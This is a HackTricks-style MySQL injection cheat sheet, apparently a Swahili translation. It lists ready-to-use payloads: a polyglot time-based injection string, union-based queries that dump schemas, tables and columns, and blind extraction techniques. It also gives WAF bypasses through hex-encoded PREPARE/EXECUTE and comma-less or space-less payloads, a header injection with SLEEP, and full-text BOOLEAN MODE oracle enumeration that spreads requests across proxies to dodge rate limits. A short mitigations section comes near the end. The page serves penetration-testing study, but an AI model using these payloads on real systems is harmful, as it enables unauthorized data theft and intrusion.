11 KiB
Raw Blame History

MySQL injection

{{#include ../../../banners/hacktricks-training.md}}

Maoni

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Funsi Zinazovutia

Thibitisha Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Kazi muhimu

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Zote injection

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

kutoka https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Mtiririko

Kumbuka kwamba katika matoleo "ya kisasa" ya MySQL unaweza kubadilisha "information_schema.tables" kwa "mysql.innodb_table_stats" (Hii inaweza kuwa muhimu kuepuka WAFs).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Thamani 1 tu

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Tambua idadi ya safu

Kutumia ORDER rahisi

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Jifunze hapa chaguzi tofauti za abuse a Mysql injection to obtain a SSRF.

WAF bypass tricks

Kutekeleza queries kupitia Prepared Statements

Ikiwa stacked queries zimeruhusiwa, inawezekana kuepuka WAFs kwa kuweka kwenye variable uwakilishi wa hex wa query unayotaka kutekeleza (kwa kutumia SET), na kisha kutumia PREPARE na EXECUTE MySQL statements ili hatimaye kutekeleza query. Kitu kama hiki:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Kwa taarifa zaidi tafadhali rejea this blog post.

Mbadala za information_schema

Kumbuka kwamba katika matoleo "modern" ya MySQL unaweza kutumia mysql.innodb_table_stats, sys.x$schema_flattened_keys au sys.schema_table_statistics badala ya information_schema.tables

MySQLinjection bila koma

Chagua safu 2 bila kutumia koma yoyote (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Kupata thamani bila jina la safu

Ikiwa wakati fulani unajua jina la jedwali lakini hujui majina ya safu ndani ya jedwali, unaweza kujaribu kugundua ni safu ngapi zipo kwa kutekeleza kitu kama:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Kwa dhana kuna kolamu 2 (kolamu ya kwanza ndiyo ID) na nyingine ni flag, unaweza kujaribu bruteforce yaliyomo ya flag kwa kujaribu kila herufi kwa herufi:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Maelezo zaidi katika https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection without SPACES (/**/ comment trick)

Baadhi ya programu husafisha au kuchambua pembejeo za mtumiaji kwa kutumia functions kama sscanf("%128s", buf) ambazo huacha kwenye tabia ya nafasi ya kwanza. Kwa sababu MySQL inachukulia mfululizo /**/ kama comment na kama whitespace, inaweza kutumika kuondoa kabisa normal spaces kutoka kwa payload huku ikihifadhi query kuwa syntactically valid.

Mfano wa time-based blind injection unaokwepa space filter:

GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Ambayo database hupokea kama:

' OR SLEEP(5)-- -'

Hii ni muhimu hasa wakati:

  • Buffer inayoweza kudhibitiwa ina kikomo cha ukubwa (kwa mfano %128s) na nafasi zinaweza kumaliza ingizo mapema.
  • Ku-inject kupitia HTTP headers au maeneo mengine ambapo nafasi za kawaida zinaondolewa au zinatumiwa kama watenganishaji.
  • Imeunganishwa na INTO OUTFILE primitives ili kupata RCE kamili kabla ya uthibitisho (tazama sehemu ya MySQL File RCE).

Historia ya MySQL

Unaweza kuona utekelezaji mwingine ndani ya MySQL ukisoma jedwali: sys.x$statement_analysis

Toleo mbadalas

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

Hii sio SQL injection ya kawaida. Wakati developers wanapotuma input ya mtumiaji ndani ya MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL inatekeleza seti tajiri ya Boolean search operators ndani ya string iliyoko ndani ya nukuu. Miongozo mingi ya WAF/SAST inalenga tu kuvunja nukuu na kupuuza uso huu.

Key points:

  • Operators zinatathminiwa ndani ya nukuu: + (lazima ijumlishwe), - (haipaswi kujumuishwa), * (trailing wildcard), "..." (exact phrase), () (grouping), </>/~ (weights). Angalia MySQL docs.
  • Hii inaruhusu vipimo vya uwepo/ukosefu na vipimo vya prefix bila kutoka kwenye string literal, kwa mfano AGAINST('+admin*' IN BOOLEAN MODE) ili kuangalia kama kuna term yoyote inaanza na admin.
  • Inafaa kujenga oracles kama “je, row yoyote ina term yenye prefix X?” na kuorodhesha strings zilizofichwa kupitia prefix expansion.

Example query built by the backend:

SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

Ikiwa application inarudisha majibu tofauti kulingana na kama seti ya matokeo iko tupu (kwa mfano, redirect dhidi ya error message), tabia hiyo inakuwa Boolean oracle ambayo inaweza kutumika kuorodhesha data za kibinafsi kama vichwa vilivyofichwa/ vilivyofutwa.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: ikiwa backend inapunguza herufi 12 mwishoni kwa kila neno kwa kutumia regex kama (\b.{1,2})(\s)|(\b.{1,2}$), tuma prefix*ZZ. Msafishaji huondoa ZZ lakini huacha *, kwa hivyo prefix* inabaki.
  • Early-break stripping: ikiwa code inaondoa operators kwa kila neno lakini inasimama kusindika inapokutana na token yoyote yenye urefu ≥ min length, tuma token mbili: ya kwanza ni token ya taka inayokidhi kizingiti cha urefu, ya pili inaabeba operator payload. Kwa mfano: &&&&& +jack*ZZ → baada ya kusafishwa: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 ni &, %2B ni +. The trailing xD (au herufi mbili yoyote) inakatwa na cleaner, ikihifadhi {FUZZ}*.
  • Tendea redirect kama “match” na ukurasa wa error kama “no match”. Usifuate redirects kiotomatiki ili oracle ibaki ionekane.

Enumeration workflow:

  1. Anza na {FUZZ} = a…z,0…9 ili kupata mechi za herufi ya kwanza kupitia +a*, +b*, …
  2. Kwa kila prefix chanya, gawia: a* → aa* / ab* / …. Rudia hadi upate mnyororo mzima.
  3. Sambaza requests (proxies, akaunti nyingi) ikiwa app inatekeleza flood control.

Why titles often leak while contents dont:

  • Baadhi ya apps hufanya ukaguzi wa visibility tu baada ya MATCH ya awali kwenye titles/subjects. Ikiwa control-flow inategemea matokeo ya “any results?” kabla ya kuchuja, existence leaks hutokea.

Mitigations:

  • Ikiwa hautahitaji Boolean logic, tumia IN NATURAL LANGUAGE MODE au tibu user input kama literal (escape/quote inazuia operators katika mode nyingine).
  • Ikiwa Boolean mode inahitajika, ondoa au nyamaza operators zote za Boolean (+ - * " ( ) < > ~) kwa kila token (hakuna kuvunjwa mapema) baada ya tokenization.
  • Weka visibility/authorization filters kabla ya MATCH, au panga majibu yafanane (muda/status thabiti) wakati result set ni empty vs. non-empty.
  • Kagua vipengele vinavyofanana katika DBMS nyingine: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS pia huchanganua operators ndani ya quoted arguments.

Notes:

  • Prepared statements hazilindi dhidi ya semantic abuse ya REGEXP au search operators. Ingizo kama .* bado ni permissive regex hata ndani ya quoted REGEXP '.*'. Tumia allow-lists au guard wazi.

Other MYSQL injection guides

References

{{#include ../../../banners/hacktricks-training.md}}